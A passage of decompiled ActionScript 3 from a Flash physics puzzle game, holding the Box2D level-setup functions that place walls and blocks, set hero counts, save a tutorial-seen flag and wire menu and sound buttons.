sav.data.obuc_per = 97;
sav.flush();
};
}
public function progressHandler(_arg1:ProgressEvent):void{
loaded = _arg1.bytesLoaded;
total = _arg1.bytesTotal;
}
function frame29(){
cel = 2;
kol_cel = cel;
kol_hero = 8;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 150;
pos_hero_y = 388;
i = 1;
while (i <= 4) {
mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
locations = 9;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
i = 1;
while (i <= 8) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 1;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 1;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 1;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 1;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
if (sav.data.obuc_per == 97){
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
obuc_cl.gotoAndStop(3);
} else {
addEventListener(Event.ENTER_FRAME, obuc_ang);
obuc_cl.next_bt.addEventListener(MouseEvent.CLICK, obuc_f);
sav.data.obuc_per = 97;
sav.flush();
};
}
function frame19(){
if (start_hoho == 1){
zvuk_z = new muz();
zvuk_c = zvuk_z.play();
start_hoho = 0;
zvuk_c.addEventListener(Event.SOUND_COMPLETE, sound_again);
};
bt_more_game.addEventListener(MouseEvent.CLICK, more_games);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
addEventListener(Event.ENTER_FRAME, plama_f);
fakel = new fakel_cl();
addChild(fakel);
fakel.name = "fakel_da";
fakel.x = 357;
fakel.y = 242;
fakel_dada = 0;
play_cl.play_bt.addEventListener(MouseEvent.CLICK, play_bt_f);
cred_cl.credits_bt.addEventListener(MouseEvent.CLICK, credits_bt_f);
cre_cl.visible = false;
stop();
}
function frame30(){
cel = 3;
kol_cel = cel;
kol_hero = 7;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 150;
pos_hero_y = 388;
i = 1;
while (i <= 9) {
mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
locations = 10;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
gro9 = new b2BodyDef();
gro9.position.Set((gro9_cl.x / 30), (gro9_cl.y / 30));
gro9.userData = gro9_cl;
gro9_sh = new b2PolygonDef();
gro9_sh.SetAsBox(((gro9_cl.width / 2) / 30), ((gro9_cl.height / 2) / 30));
gro9_def = world.CreateBody(gro9);
gro9_def.CreateShape(gro9_sh);
gro9_def.SetMassFromShapes();
gro9_sh.density = 1;
i = 1;
while (i <= 9) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 1;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 1;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 1;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 1;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 1;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 1;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
dim7_def = new b2BodyDef();
dim7_sh = new b2PolygonDef();
dim7_def.position.Set((dim7_cl.x / 30), (dim7_cl.y / 30));
dim7_sh.SetAsBox(((dim7_cl.width / 2) / 30), ((dim7_cl.height / 2) / 30));
dim7_def.userData = dim7_cl;
dim7_sh.density = 1;
dim7_sh.friction = 1;
dim7_sh.restitution = 0.1;
dim7 = world.CreateBody(dim7_def);
dim7.CreateShape(dim7_sh);
dim7.SetMassFromShapes();
dim8_def = new b2BodyDef();
dim8_sh = new b2PolygonDef();
dim8_def.position.Set((dim8_cl.x / 30), (dim8_cl.y / 30));
dim8_sh.SetAsBox(((dim8_cl.width / 2) / 30), ((dim8_cl.height / 2) / 30));
dim8_def.userData = dim8_cl;
dim8_sh.density = 1;
dim8_sh.friction = 1;
dim8_sh.restitution = 0.1;
dim8 = world.CreateBody(dim8_def);
dim8.CreateShape(dim8_sh);
dim8.SetMassFromShapes();
dim9_def = new b2BodyDef();
dim9_sh = new b2PolygonDef();
dim9_def.position.Set((dim9_cl.x / 30), (dim9_cl.y / 30));
dim9_sh.SetAsBox(((dim9_cl.width / 2) / 30), ((dim9_cl.height / 2) / 30));
dim9_def.userData = dim9_cl;
dim9_sh.density = 1;
dim9_sh.friction = 1;
dim9_sh.restitution = 0.1;
dim9 = world.CreateBody(dim9_def);
dim9.CreateShape(dim9_sh);
dim9.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
}
function frame25(){
cel = 4;
kol_cel = cel;
kol_hero = 2;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 356;
pos_hero_y = 380;
i = 1;
while (i <= 2) {
mas_balka.push(i);
mas_balka_giz.push(50);
i++;
};
locations = 5;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
gro9 = new b2BodyDef();
gro9.position.Set((gro9_cl.x / 30), (gro9_cl.y / 30));
gro9.userData = gro9_cl;
gro9_sh = new b2PolygonDef();
gro9_sh.SetAsBox(((gro9_cl.width / 2) / 30), ((gro9_cl.height / 2) / 30));
gro9_def = world.CreateBody(gro9);
gro9_def.CreateShape(gro9_sh);
gro9_def.SetMassFromShapes();
gro9_sh.density = 1;
gro10 = new b2BodyDef();
gro10.position.Set((gro10_cl.x / 30), (gro10_cl.y / 30));
gro10.userData = gro10_cl;
gro10_sh = new b2PolygonDef();
gro10_sh.SetAsBox(((gro10_cl.width / 2) / 30), ((gro10_cl.height / 2) / 30));
gro10_def = world.CreateBody(gro10);
gro10_def.CreateShape(gro10_sh);
gro10_def.SetMassFromShapes();
gro10_sh.density = 1;
gro11 = new b2BodyDef();
gro11.position.Set((gro11_cl.x / 30), (gro11_cl.y / 30));
gro11.userData = gro11_cl;
gro11_sh = new b2PolygonDef();
gro11_sh.SetAsBox(((gro11_cl.width / 2) / 30), ((gro11_cl.height / 2) / 30));
gro11_def = world.CreateBody(gro11);
gro11_def.CreateShape(gro11_sh);
gro11_def.SetMassFromShapes();
gro11_sh.density = 1;
gro12 = new b2BodyDef();
gro12.position.Set((gro12_cl.x / 30), (gro12_cl.y / 30));
gro12.userData = gro12_cl;
gro12_sh = new b2PolygonDef();
gro12_sh.SetAsBox(((gro12_cl.width / 2) / 30), ((gro12_cl.height / 2) / 30));
gro12_def = world.CreateBody(gro12);
gro12_def.CreateShape(gro12_sh);
gro12_def.SetMassFromShapes();
gro12_sh.density = 1;
i = 1;
while (i <= 12) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 1;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 1;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
addEventListener(Event.ENTER_FRAME, game_f2);
}
function frame36(){
cel = 4;
kol_cel = cel;
kol_hero = 7;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 460;
pos_hero_y = 388;
i = 1;
while (i <= 20) {
mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
locations = 16;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
gro9 = new b2BodyDef();
gro9.position.Set((gro9_cl.x / 30), (gro9_cl.y / 30));
gro9.userData = gro9_cl;
gro9_sh = new b2PolygonDef();
gro9_sh.SetAsBox(((gro9_cl.width / 2) / 30), ((gro9_cl.height / 2) / 30));
gro9_def = world.CreateBody(gro9);
gro9_def.CreateShape(gro9_sh);
gro9_def.SetMassFromShapes();
gro9_sh.density = 1;
gro10 = new b2BodyDef();
gro10.position.Set((gro10_cl.x / 30), (gro10_cl.y / 30));
gro10.userData = gro10_cl;
gro10_sh = new b2PolygonDef();
gro10_sh.SetAsBox(((gro10_cl.width / 2) / 30), ((gro10_cl.height / 2) / 30));
gro10_def = world.CreateBody(gro10);
gro10_def.CreateShape(gro10_sh);
gro10_def.SetMassFromShapes();
gro10_sh.density = 1;
i = 1;
while (i <= 10) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 1;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 1;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 1;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 1;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 1;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 1;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
dim7_def = new b2BodyDef();
dim7_sh = new b2PolygonDef();
dim7_def.position.Set((dim7_cl.x / 30), (dim7_cl.y / 30));
dim7_sh.SetAsBox(((dim7_cl.width / 2) / 30), ((dim7_cl.height / 2) / 30));
dim7_def.userData = dim7_cl;
dim7_sh.density = 1;
dim7_sh.friction = 1;
dim7_sh.restitution = 0.1;
dim7 = world.CreateBody(dim7_def);
dim7.CreateShape(dim7_sh);
dim7.SetMassFromShapes();
dim8_def = new b2BodyDef();
dim8_sh = new b2PolygonDef();
dim8_def.position.Set((dim8_cl.x / 30), (dim8_cl.y / 30));
dim8_sh.SetAsBox(((dim8_cl.width / 2) / 30), ((dim8_cl.height / 2) / 30));
dim8_def.userData = dim8_cl;
dim8_sh.density = 1;
dim8_sh.friction = 1;
dim8_sh.restitution = 0.1;
dim8 = world.CreateBody(dim8_def);
dim8.CreateShape(dim8_sh);
dim8.SetMassFromShapes();
dim9_def = new b2BodyDef();
dim9_sh = new b2PolygonDef();
dim9_def.position.Set((dim9_cl.x / 30), (dim9_cl.y / 30));
dim9_sh.SetAsBox(((dim9_cl.width / 2) / 30), ((dim9_cl.height / 2) / 30));
dim9_def.userData = dim9_cl;
dim9_sh.density = 1;
dim9_sh.friction = 1;
dim9_sh.restitution = 0.1;
dim9 = world.CreateBody(dim9_def);
dim9.CreateShape(dim9_sh);
dim9.SetMassFromShapes();
dim10_def = new b2BodyDef();
dim10_sh = new b2PolygonDef();
